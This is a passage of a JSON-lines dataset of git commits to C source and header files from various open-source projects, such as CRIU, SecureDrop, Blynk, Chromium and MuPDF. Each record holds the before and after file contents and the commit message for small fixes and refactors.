{"commit":"8b432d0e483c84b22255cc3518423dcbca6c3270","old_file":"include\/TextMetrics.h","new_file":"include\/TextMetrics.h","old_contents":"#ifndef _TEXTMETRICS_H_\n#define _TEXTMETRICS_H_\n\nnamespace canvas {\n  class TextMetrics {\n  public:\n  TextMetrics() : width(0) { }\n  TextMetrics(float _width) : width(_width) { }\n    \n    float width;\n\n#if 0\n    float ideographicBaseline;\n    float alphabeticBaseline;\n    float hangingBaseline;\n    float emHeightDescent;\n    float emHeightAscent;\n    float actualBoundingBoxDescent;\n    float actualBoundingBoxAscent;\n    float fontBoundingBoxDescent;\n    float fontBoundingBoxAscent;\n    float actualBoundingBoxRight;\n    float actualBoundingBoxLeft;\n#endif\n  };\n};\n\n#endif\n","new_contents":"#ifndef _TEXTMETRICS_H_\n#define _TEXTMETRICS_H_\n\nnamespace canvas {\n  class TextMetrics {\n  public:\n  TextMetrics() : width(0) { }\n  TextMetrics(float _width) : width(_width) { }\n  TextMetrics(float _width, float fontBoundingBoxDescent, float _fontBoundingBoxAscent) :\n  \twidth(_width) fontBoundingBoxDescent(_fontBoundingBoxDescent) fontBoundingBoxAscent(_fontBoundingBoxAscent)  { }\n    \n    float width;\n    float fontBoundingBoxDescent;\n    float fontBoundingBoxAscent;\n\n#if 0\n    float ideographicBaseline;\n    float alphabeticBaseline;\n    float hangingBaseline;\n    float emHeightDescent;\n    float emHeightAscent;\n    float actualBoundingBoxDescent;\n    float actualBoundingBoxAscent;\n    float actualBoundingBoxRight;\n    float actualBoundingBoxLeft;\n#endif\n  };\n};\n\n#endif\n","subject":"Add fontBoundingDescent and Ascent and add constructor with them","message":"Add fontBoundingDescent and Ascent and add constructor with them","lang":"C","license":"mit","repos":"rekola\/canvas,Sometrik\/canvas,Sometrik\/canvas,rekola\/canvas"}
{"commit":"44a05e70ec7310f90d053818a4f650b82e1512ee","old_file":"include\/ipc_ns.h","new_file":"include\/ipc_ns.h","old_contents":"#ifndef IPC_NS_H_\n#define IPC_NS_H_\n\n#include \"crtools.h\"\n\nextern void show_ipc_ns(int fd);\nextern int dump_ipc_ns(int ns_pid, struct cr_fdset *fdset);\nextern int prepare_ipc_ns(int pid);\n\n#endif \/* IPC_NS_H_ *\/\n","new_contents":"#ifndef CR_IPC_NS_H_\n#define CR_IPC_NS_H_\n\n#include \"crtools.h\"\n\nextern void show_ipc_ns(int fd);\nextern int dump_ipc_ns(int ns_pid, struct cr_fdset *fdset);\nextern int prepare_ipc_ns(int pid);\n\n#endif \/* CR_IPC_NS_H_ *\/\n","subject":"Add CR_ prefix to header defines","message":"ips_ns.h: Add CR_ prefix to header defines\n\nReported-by: Stanislav Kinsbursky <43b28e187c4fe6e53d7ab0bb71957481e322f182@parallels.com>\nSigned-off-by: Cyrill Gorcunov <7a1ea01eee6961eb1e372e3508c2670446d086f4@openvz.org>\n","lang":"C","license":"lgpl-2.1","repos":"KKoukiou\/criu-remote,tych0\/criu,ldu4\/criu,svloyso\/criu,fbocharov\/criu,AuthenticEshkinKot\/criu,svloyso\/criu,efiop\/criu,efiop\/criu,gonkulator\/criu,AuthenticEshkinKot\/criu,biddyweb\/criu,KKoukiou\/criu-remote,AuthenticEshkinKot\/criu,rentzsch\/criu,wtf42\/criu,marcosnils\/criu,AuthenticEshkinKot\/criu,gonkulator\/criu,gonkulator\/criu,LK4D4\/criu,rentzsch\/criu,sdgdsffdsfff\/criu,efiop\/criu,eabatalov\/criu,eabatalov\/criu,fbocharov\/criu,ldu4\/criu,tych0\/criu,sdgdsffdsfff\/criu,svloyso\/criu,fbocharov\/criu,LK4D4\/criu,KKoukiou\/criu-remote,rentzsch\/criu,kawamuray\/criu,svloyso\/criu,wtf42\/criu,sdgdsffdsfff\/criu,biddyweb\/criu,marcosnils\/criu,gonkulator\/criu,gablg1\/criu,biddyweb\/criu,fbocharov\/criu,efiop\/criu,rentzsch\/criu,sdgdsffdsfff\/criu,efiop\/criu,tych0\/criu,LK4D4\/criu,gablg1\/criu,kawamuray\/criu,eabatalov\/criu,wtf42\/criu,sdgdsffdsfff\/criu,ldu4\/criu,marcosnils\/criu,biddyweb\/criu,KKoukiou\/criu-remote,tych0\/criu,wtf42\/criu,gonkulator\/criu,fbocharov\/criu,svloyso\/criu,gablg1\/criu,tych0\/criu,eabatalov\/criu,wtf42\/criu,sdgdsffdsfff\/criu,gonkulator\/criu,kawamuray\/criu,kawamuray\/criu,ldu4\/criu,rentzsch\/criu,ldu4\/criu,wtf42\/criu,kawamuray\/criu,LK4D4\/criu,rentzsch\/criu,gablg1\/criu,svloyso\/criu,marcosnils\/criu,marcosnils\/criu,ldu4\/criu,AuthenticEshkinKot\/criu,kawamuray\/criu,eabatalov\/criu,marcosnils\/criu,AuthenticEshkinKot\/criu,gablg1\/criu,biddyweb\/criu,efiop\/criu,tych0\/criu,fbocharov\/criu,LK4D4\/criu,eabatalov\/criu,biddyweb\/criu,LK4D4\/criu,gablg1\/criu,KKoukiou\/criu-remote,KKoukiou\/criu-remote"}
{"commit":"764632646a762e3ce9269676bf982b033d5d7785","old_file":"includes\/Utils.h","new_file":"includes\/Utils.h","old_contents":"#ifndef UTILS_H\n#define UTILS_H\n\nclass Utils {\npublic:\n\tstatic const std::size_t CalculatePadding(const std::size_t offset, const std::size_t alignment) {\n\t\tconst std::size_t multiplier = (offset \/ alignment) + 1;\n\t\tconst std::size_t padding = (multiplier * alignment) - offset;\n\t\treturn padding;\n\t}\n\n};\n\n#endif \/* UTILS_H *\/","new_contents":"#ifndef UTILS_H\n#define UTILS_H\n\nclass Utils {\npublic:\n\tstatic const std::size_t CalculatePadding(const std::size_t baseAddress, const std::size_t alignment) {\n\t\tconst std::size_t multiplier = (baseAddress \/ alignment) + 1;\n\t\tconst std::size_t alignedAddress = multiplier * alignment;\n\t\tconst std::size_t padding = alignedAddress - baseAddress;\n\t\treturn padding;\n\t}\n};\n\n#endif \/* UTILS_H *\/","subject":"Rename first parameter to baseAddres to avoid confusion","message":"Rename first parameter to baseAddres to avoid confusion\n","lang":"C","license":"mit","repos":"mtrebi\/memory-allocators"}
{"commit":"c971b045e63517ceab1c26ca49a6e1ec436d92a8","old_file":"tails_files\/securedrop_init.c","new_file":"tails_files\/securedrop_init.c","old_contents":"#include <unistd.h>\n\nint main(int argc, char* argv) {\n   setuid(0);\n   \/\/ Use absolute path to the Python binary and execl to avoid $PATH or symlink trickery\n   execl(\"\/usr\/bin\/python2.7\", \"python2.7\", \"\/home\/vagrant\/tails_files\/test.py\", (char*)NULL);\n   return 0;\n}\n","new_contents":"#include <unistd.h>\n\nint main(int argc, char* argv) {\n   setuid(0);\n   \/\/ Use absolute path to the Python binary and execl to avoid $PATH or symlink trickery\n   execl(\"\/usr\/bin\/python2.7\", \"python2.7\", \"\/home\/amnesia\/Persistent\/.securedrop\/securedrop_init.py\", (char*)NULL);\n   return 0;\n}\n","subject":"Fix path in tails_files C wrapper","message":"Fix path in tails_files C wrapper\n","lang":"C","license":"agpl-3.0","repos":"jaseg\/securedrop,jeann2013\/securedrop,kelcecil\/securedrop,jrosco\/securedrop,ageis\/securedrop,jrosco\/securedrop,chadmiller\/securedrop,GabeIsman\/securedrop,jaseg\/securedrop,pwplus\/securedrop,GabeIsman\/securedrop,harlo\/securedrop,chadmiller\/securedrop,heartsucker\/securedrop,heartsucker\/securedrop,jeann2013\/securedrop,pwplus\/securedrop,heartsucker\/securedrop,jrosco\/securedrop,harlo\/securedrop,pwplus\/securedrop,conorsch\/securedrop,micahflee\/securedrop,ehartsuyker\/securedrop,chadmiller\/securedrop,jrosco\/securedrop,ehartsuyker\/securedrop,chadmiller\/securedrop,pwplus\/securedrop,chadmiller\/securedrop,kelcecil\/securedrop,micahflee\/securedrop,GabeIsman\/securedrop,harlo\/securedrop,ehartsuyker\/securedrop,heartsucker\/securedrop,ehartsuyker\/securedrop,ageis\/securedrop,ehartsuyker\/securedrop,GabeIsman\/securedrop,ageis\/securedrop,harlo\/securedrop,kelcecil\/securedrop,jeann2013\/securedrop,ageis\/securedrop,conorsch\/securedrop,jeann2013\/securedrop,jeann2013\/securedrop,conorsch\/securedrop,kelcecil\/securedrop,GabeIsman\/securedrop,harlo\/securedrop,micahflee\/securedrop,jrosco\/securedrop,garrettr\/securedrop,jaseg\/securedrop,garrettr\/securedrop,jaseg\/securedrop,heartsucker\/securedrop,harlo\/securedrop,conorsch\/securedrop,GabeIsman\/securedrop,kelcecil\/securedrop,garrettr\/securedrop,jaseg\/securedrop,ehartsuyker\/securedrop,jaseg\/securedrop,micahflee\/securedrop,kelcecil\/securedrop,pwplus\/securedrop,conorsch\/securedrop,pwplus\/securedrop,jeann2013\/securedrop,chadmiller\/securedrop,jrosco\/securedrop,garrettr\/securedrop"}
{"commit":"8f74beb56f217b8a6e5307e6ca4d770e0b493d1f","old_file":"modlib.c","new_file":"modlib.c","old_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    uint8_t Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        uint8_t Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n\nuint16_t MODBUSCRC16( uint16_t *Data, uint16_t Length )\n{\n\t\/\/Calculate CRC16 checksum using given data and length\n\n\tuint16_t CRC = 0xFFFF;\n\tuint16_t i;\n\tuint8_t j;\n\n\tfor ( i = 0; i < Length; i++ )\n\t{\n\t\tCRC ^= Data[i]; \/\/XOR current data byte with CRC value\n\n\t\tfor ( j = 8; j != 0; j-- )\n\t\t{\n\t\t\t\/\/For each bit\n\t\t\t\/\/Is least-significant-bit is set?\n    \t\tif ( ( CRC & 0x0001 ) != 0 )\n\t\t\t{\n    \t\t\tCRC >>= 1; \/\/Shift to right and xor\n    \t\t\tCRC ^= 0xA001;\n    \t\t}\n    \t\telse\n    \t\t\tCRC >>= 1;\n\t\t}\n\t}\n\treturn CRC;\n}\n","new_contents":"#include \"modlib.h\"\n\nuint16_t MODBUSSwapEndian( uint16_t Data )\n{\n    \/\/Change big-endian to little-endian and vice versa\n\n    uint8_t Swap;\n\n\t\/\/Create 2 bytes long union\n    union Conversion\n    {\n        uint16_t Data;\n        uint8_t Bytes[2];\n    } Conversion;\n\n\t\/\/Swap bytes\n    Conversion.Data = Data;\n    Swap = Conversion.Bytes[0];\n    Conversion.Bytes[0] = Conversion.Bytes[1];\n    Conversion.Bytes[1] = Swap;\n\n    return Conversion.Data;\n}\n\nuint16_t MODBUSCRC16( uint8_t *Data, uint16_t Length )\n{\n\t\/\/Calculate CRC16 checksum using given data and length\n\n\tuint16_t CRC = 0xFFFF;\n\tuint16_t i;\n\tuint8_t j;\n\n\tfor ( i = 0; i < Length; i++ )\n\t{\n\t\tCRC ^= Data[i]; \/\/XOR current data byte with CRC value\n\n\t\tfor ( j = 8; j != 0; j-- )\n\t\t{\n\t\t\t\/\/For each bit\n\t\t\t\/\/Is least-significant-bit is set?\n    \t\tif ( ( CRC & 0x0001 ) != 0 )\n\t\t\t{\n    \t\t\tCRC >>= 1; \/\/Shift to right and xor\n    \t\t\tCRC ^= 0xA001;\n    \t\t}\n    \t\telse\n    \t\t\tCRC >>= 1;\n\t\t}\n\t}\n\treturn CRC;\n}\n","subject":"Fix types in CRC16 function","message":"Fix types in CRC16 function\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"dd9f4d4919164ce842502ece64583f13df8cc737","old_file":"src\/vast\/actor.h","new_file":"src\/vast\/actor.h","old_contents":"#ifndef VAST_ACTOR_H\n#define VAST_ACTOR_H\n\n#include <cppa\/event_based_actor.hpp>\n#include \"vast\/logger.h\"\n\nnamespace vast {\n\nnamespace exit {\n\nconstexpr uint32_t done   = cppa::exit_reason::user_defined;\nconstexpr uint32_t stop   = cppa::exit_reason::user_defined + 1;\nconstexpr uint32_t error  = cppa::exit_reason::user_defined + 2;\n\n} \/\/ namespace exit\n\n\/\/\/ An actor enhanced in \ntemplate <typename Derived>\nclass actor : public cppa::event_based_actor\n{\npublic:\n  \/\/\/ Implements `cppa::event_based_actor::init`.\n  virtual void init() override\n  {\n    VAST_LOG_ACTOR_VERBOSE(derived()->description(), \"spawned\");\n    derived()->act();\n    if (! has_behavior())\n    {\n      VAST_LOG_ACTOR_ERROR(derived()->description(),\n                           \"act() did not set a behavior, terminating\");\n      quit();\n    }\n  }\n\n  \/\/\/ Overrides `event_based_actor::on_exit`.\n  virtual void on_exit() override\n  {\n    VAST_LOG_ACTOR_VERBOSE(derived()->description(), \"terminated\");\n  }\n\nprivate:\n  Derived const* derived() const\n  {\n    return static_cast<Derived const*>(this);\n  }\n\n  Derived* derived()\n  {\n    return static_cast<Derived*>(this);\n  }\n};\n\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_ACTOR_H\n#define VAST_ACTOR_H\n\n#include <cppa\/event_based_actor.hpp>\n#include \"vast\/logger.h\"\n\nnamespace vast {\n\nnamespace exit {\n\nconstexpr uint32_t done   = cppa::exit_reason::user_defined;\nconstexpr uint32_t stop   = cppa::exit_reason::user_defined + 1;\nconstexpr uint32_t error  = cppa::exit_reason::user_defined + 2;\n\n} \/\/ namespace exit\n\n\/\/\/ An actor enhanced in \ntemplate <typename Derived>\nclass actor : public cppa::event_based_actor\n{\npublic:\n  \/\/\/ Implements `cppa::event_based_actor::init`.\n  virtual void init() override\n  {\n    VAST_LOG_ACTOR_VERBOSE(derived()->description(), \"spawned\");\n    derived()->act();\n    if (! has_behavior())\n    {\n      VAST_LOG_ACTOR_ERROR(derived()->description(),\n                           \"act() did not set a behavior, terminating\");\n      quit(exit::error);\n    }\n  }\n\n  \/\/\/ Overrides `event_based_actor::on_exit`.\n  virtual void on_exit() override\n  {\n    VAST_LOG_ACTOR_VERBOSE(derived()->description(), \"terminated\");\n  }\n\nprivate:\n  Derived const* derived() const\n  {\n    return static_cast<Derived const*>(this);\n  }\n\n  Derived* derived()\n  {\n    return static_cast<Derived*>(this);\n  }\n};\n\n} \/\/ namespace vast\n\n#endif\n","subject":"Exit with error on missing behavior.","message":"Exit with error on missing behavior.\n","lang":"C","license":"bsd-3-clause","repos":"pmos69\/vast,mavam\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,vast-io\/vast,pmos69\/vast,vast-io\/vast,pmos69\/vast,mavam\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast"}
{"commit":"46583bb05fa9d59060b3254f4a7621ed5464761a","old_file":"stats.c","new_file":"stats.c","old_contents":"","new_contents":"#ifdef ENABLE_STATS\n\n#include <stdio.h>\n#include <sys\/resource.h>\n\nstatic size_t stats_peek_rss()\n{\n  struct rusage rusage;\n  getrusage( RUSAGE_SELF, &rusage );\n  return (size_t) (rusage.ru_maxrss * 1024L);\n}\n\n__attribute__((destructor))\nvoid _print_stats(void)\n{\n  size_t rss = stats_peek_rss();\n  printf(\"Maximum RSS: %ld KB\\n\", rss \/ 1024L);\n}\n\n#endif\n","subject":"Add function to read peek rss usage.","message":"Add function to read peek rss usage.\n","lang":"C","license":"mit","repos":"chaoran\/fibril,chaoran\/fibril,chaoran\/fibril"}
{"commit":"45e5572b7dbf3c53cbb85e48c30c5019653aa6a1","old_file":"src\/BlynkSimpleWiFiNINA.h","new_file":"src\/BlynkSimpleWiFiNINA.h","old_contents":"","new_contents":"\/**\n * @file       BlynkSimpleWiFiNINA.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2018 Volodymyr Shymanskyy\n * @date       Sep 2018\n * @brief\n *\n *\/\n\n#ifndef BlynkSimpleWiFiNINA_h\n#define BlynkSimpleWiFiNINA_h\n\n#ifndef BLYNK_INFO_CONNECTION\n#define BLYNK_INFO_CONNECTION  \"WiFiNINA\"\n#endif\n\n#define BLYNK_SEND_ATOMIC\n\/\/#define BLYNK_USE_SSL\n\n#include <WiFiNINA.h>\n#include <Adapters\/BlynkWiFiCommon.h>\n\n\/\/static WiFiSSLClient _blynkWifiClient;\nstatic WiFiClient _blynkWifiClient;\n\nstatic BlynkArduinoClient _blynkTransport(_blynkWifiClient);\nBlynkWifiCommon Blynk(_blynkTransport);\n\n#include <BlynkWidgets.h>\n\n#endif\n","subject":"Add WiFiNINA, Arduino MKR WiFi 1010 support","message":"Add WiFiNINA, Arduino MKR WiFi 1010 support\n","lang":"C","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library"}
{"commit":"b5583121378597058f8f083243d2299fd262e509","old_file":"webkit\/glue\/plugins\/ppb_private.h","new_file":"webkit\/glue\/plugins\/ppb_private.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"third_party\/ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","subject":"Add third_party\/ prefix to ppapi include for checkdeps.","message":"Add third_party\/ prefix to ppapi include for checkdeps.\n\nThe only users of this ppb should be inside chrome so this should work fine.\n\nTBR=jam@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/3019006\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@52766 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"bb824d72ab4db6bef2562f6129e6742f6fcbfc7d","old_file":"src\/gui\/qxtfilterdialog_p.h","new_file":"src\/gui\/qxtfilterdialog_p.h","old_contents":"#ifndef QXTFILTERDIALOG_P_H_INCLUDED\r\n#define QXTFILTERDIALOG_P_H_INCLUDED\r\n\r\n#include <QObject>\r\n#include <QModelIndex>\r\n#include <QRegExp>\r\n#include <QPointer>\r\n#include \"qxtpimpl.h\"\r\n\r\nclass QxtFilterDialog;\r\nclass QAbstractItemModel;\r\nclass QTreeView;\r\nclass QSortFilterProxyModel;\r\nclass QLineEdit;\r\nclass QCheckBox;\r\nclass QComboBox;\r\n\r\nclass QxtFilterDialogPrivate : public QObject, public QxtPrivate<QxtFilterDialog>\r\n{\r\n    Q_OBJECT\r\n    public:\r\n        QxtFilterDialogPrivate();\r\n        QXT_DECLARE_PUBLIC(QxtFilterDialog);\r\n\r\n        \/*widgets*\/\r\n        QCheckBox * matchCaseOption;\r\n        QCheckBox * filterModeOption;\r\n        QComboBox * filterMode;\r\n        QTreeView * listingTreeView;\r\n        QLineEdit * lineEditFilter;\r\n\r\n        \/*models*\/\r\n        QPointer<QAbstractItemModel>    model;\r\n        QSortFilterProxyModel*          proxyModel;\r\n        \r\n        \/*properties*\/\r\n        int lookupColumn;\r\n        int lookupRole;\r\n        QRegExp::PatternSyntax syntax;\r\n        Qt::CaseSensitivity caseSensitivity;\r\n\r\n        \/*result*\/\r\n        QModelIndex selectedIndex;\r\n\r\n        \/*member functions*\/\r\n        void updateFilterPattern();\r\n\r\n    public slots:\r\n        void createRegExpPattern(const QString &rawText);\r\n        void filterModeOptionStateChanged(const int state);\r\n        void matchCaseOptionStateChanged(const int state);\r\n        void filterModeChoosen(int index);\r\n};\r\n\r\n\r\n#endif","new_contents":"#ifndef QXTFILTERDIALOG_P_H_INCLUDED\n#define QXTFILTERDIALOG_P_H_INCLUDED\n\n#include <QObject>\n#include <QModelIndex>\n#include <QRegExp>\n#include <QPointer>\n#include \"qxtpimpl.h\"\n\nclass QxtFilterDialog;\nclass QAbstractItemModel;\nclass QTreeView;\nclass QSortFilterProxyModel;\nclass QLineEdit;\nclass QCheckBox;\nclass QComboBox;\n\nclass QxtFilterDialogPrivate : public QObject, public QxtPrivate<QxtFilterDialog>\n{\n    Q_OBJECT\n    public:\n        QxtFilterDialogPrivate();\n        QXT_DECLARE_PUBLIC(QxtFilterDialog);\n\n        \/*widgets*\/\n        QCheckBox * matchCaseOption;\n        QCheckBox * filterModeOption;\n        QComboBox * filterMode;\n        QTreeView * listingTreeView;\n        QLineEdit * lineEditFilter;\n\n        \/*models*\/\n        QPointer<QAbstractItemModel>    model;\n        QSortFilterProxyModel*          proxyModel;\n        \n        \/*properties*\/\n        int lookupColumn;\n        int lookupRole;\n        QRegExp::PatternSyntax syntax;\n        Qt::CaseSensitivity caseSensitivity;\n\n        \/*result*\/\n        QModelIndex selectedIndex;\n\n        \/*member functions*\/\n        void updateFilterPattern();\n\n    public slots:\n        void createRegExpPattern(const QString &rawText);\n        void filterModeOptionStateChanged(const int state);\n        void matchCaseOptionStateChanged(const int state);\n        void filterModeChoosen(int index);\n};\n\n\n#endif\n","subject":"Fix bad fileformat (was DOS without a final line terminator)","message":"Fix bad fileformat (was DOS without a final line terminator)\n","lang":"C","license":"bsd-3-clause","repos":"hrobeers\/qxtweb-qt5,hrobeers\/qxtweb-qt5,hrobeers\/qxtweb-qt5,mmitkevich\/libqxt,mmitkevich\/libqxt,mmitkevich\/libqxt,hrobeers\/qxtweb-qt5,mmitkevich\/libqxt,hrobeers\/qxtweb-qt5"}
{"commit":"4dfe89bbf3a6f56e3eb3c5991036a6027d627543","old_file":"indexer\/config.h","new_file":"indexer\/config.h","old_contents":"\/\/#define DEBUG_INDEXER\n\n#define MAX_CORPUS_FILE_SZ  (1024 * 8)\n","new_contents":"\/\/#define DEBUG_INDEXER\n\n#define MAX_CORPUS_FILE_SZ  (1024 * 1024 * 16)\n","subject":"Increase corpus buffer to 16MB","message":"Increase corpus buffer to 16MB\n","lang":"C","license":"mit","repos":"yzhan018\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,approach0\/search-engine,approach0\/search-engine,yzhan018\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,approach0\/search-engine,approach0\/search-engine,yzhan018\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,yzhan018\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow,t-k-\/the-day-after-tomorrow"}
{"commit":"28b213cfe02713b8a0a986cb5f6efb3058dacb5f","old_file":"TMEVSIM\/TMevSimConverter.h","new_file":"TMEVSIM\/TMevSimConverter.h","old_contents":"#ifndef ROOT_TMevSimConverter\n#define ROOT_TMevSimConverter\n\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#include \"TObject.h\"\n\nclass TMevSimConverter : public TObject {\n\n    enum {kMaxParticles = 35};\n\n    Int_t  fNPDGCodes;                   \/\/ Number of PDG codes known by G3\n    Int_t  fPDGCode [kMaxParticles];     \/\/ Translation table of PDG codes\n\n    void DefineParticles();\n\n  public:\n\n    TMevSimConverter() {DefineParticles();}\n    virtual ~TMevSimConverter() {}\n\n    Int_t PDGFromId(Int_t gpid);\n    Int_t IdFromPDG(Int_t pdg); \n    \n    ClassDef(TMevSimConverter,1)\n};\n\n#endif\n\n\n\n\n","new_contents":"#ifndef ROOT_TMevSimConverter\n#define ROOT_TMevSimConverter\n\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n#include \"TObject.h\"\n\nclass TMevSimConverter : public TObject {\n\n    enum {kMaxParticles = 35};\n\n    Int_t  fNPDGCodes;                   \/\/ Number of PDG codes known by G3\n    Int_t  fPDGCode [kMaxParticles];     \/\/ Translation table of PDG codes\n\n    void DefineParticles();\n\n  public:\n\n    TMevSimConverter() : fNPDGCodes(0) {DefineParticles();}\n    virtual ~TMevSimConverter() {}\n\n    Int_t PDGFromId(Int_t gpid);\n    Int_t IdFromPDG(Int_t pdg); \n    \n    ClassDef(TMevSimConverter,1)\n};\n\n#endif\n\n\n\n\n","subject":"Initialize fNPDGcodes to 0 to prevent sigsegv (Christian)","message":"Initialize fNPDGcodes to 0 to prevent sigsegv (Christian)\n\n","lang":"C","license":"bsd-3-clause","repos":"coppedis\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,ALICEHLT\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,coppedis\/AliRoot"}
{"commit":"f86f4873e8aef4d54ea45abc70b5f45af204186a","old_file":"fitz\/stm_filter.c","new_file":"fitz\/stm_filter.c","old_contents":"#include \"fitz_base.h\"\n#include \"fitz_stream.h\"\n\nfz_error\nfz_process(fz_filter *f, fz_buffer *in, fz_buffer *out)\n{\n\tfz_error reason;\n\tunsigned char *oldrp;\n\tunsigned char *oldwp;\n\n\tassert(!out->eof);\n\n\toldrp = in->rp;\n\toldwp = out->wp;\n\n\tif (f->done)\n\t    return fz_iodone;\n\n\treason = f->process(f, in, out);\n\n\tassert(in->rp <= in->wp);\n\tassert(out->wp <= out->ep);\n\n\tf->consumed = in->rp > oldrp;\n\tf->produced = out->wp > oldwp;\n\tf->count += out->wp - oldwp;\n\n\t\/* iodone or error *\/\n\tif (reason != fz_ioneedin && reason != fz_ioneedout)\n\t{\n\t\tif (reason != fz_iodone)\n\t\t\treason = fz_rethrow(reason, \"cannot process filter\");\n\t\tout->eof = 1;\n\t\tf->done = 1;\n\t}\n\n\treturn reason;\n}\n\nfz_filter *\nfz_keepfilter(fz_filter *f)\n{\n\tf->refs ++;\n\treturn f;\n}\n\nvoid\nfz_dropfilter(fz_filter *f)\n{\n\tif (--f->refs == 0)\n\t{\n\t\tif (f->drop)\n\t\t\tf->drop(f);\n\t\tfz_free(f);\n\t}\n}\n\n","new_contents":"#include \"fitz_base.h\"\n#include \"fitz_stream.h\"\n\nfz_error\nfz_process(fz_filter *f, fz_buffer *in, fz_buffer *out)\n{\n\tfz_error reason;\n\tunsigned char *oldrp;\n\tunsigned char *oldwp;\n\n\toldrp = in->rp;\n\toldwp = out->wp;\n\n\tif (f->done)\n\t    return fz_iodone;\n\n\tassert(!out->eof);\n\n\treason = f->process(f, in, out);\n\n\tassert(in->rp <= in->wp);\n\tassert(out->wp <= out->ep);\n\n\tf->consumed = in->rp > oldrp;\n\tf->produced = out->wp > oldwp;\n\tf->count += out->wp - oldwp;\n\n\t\/* iodone or error *\/\n\tif (reason != fz_ioneedin && reason != fz_ioneedout)\n\t{\n\t\tif (reason != 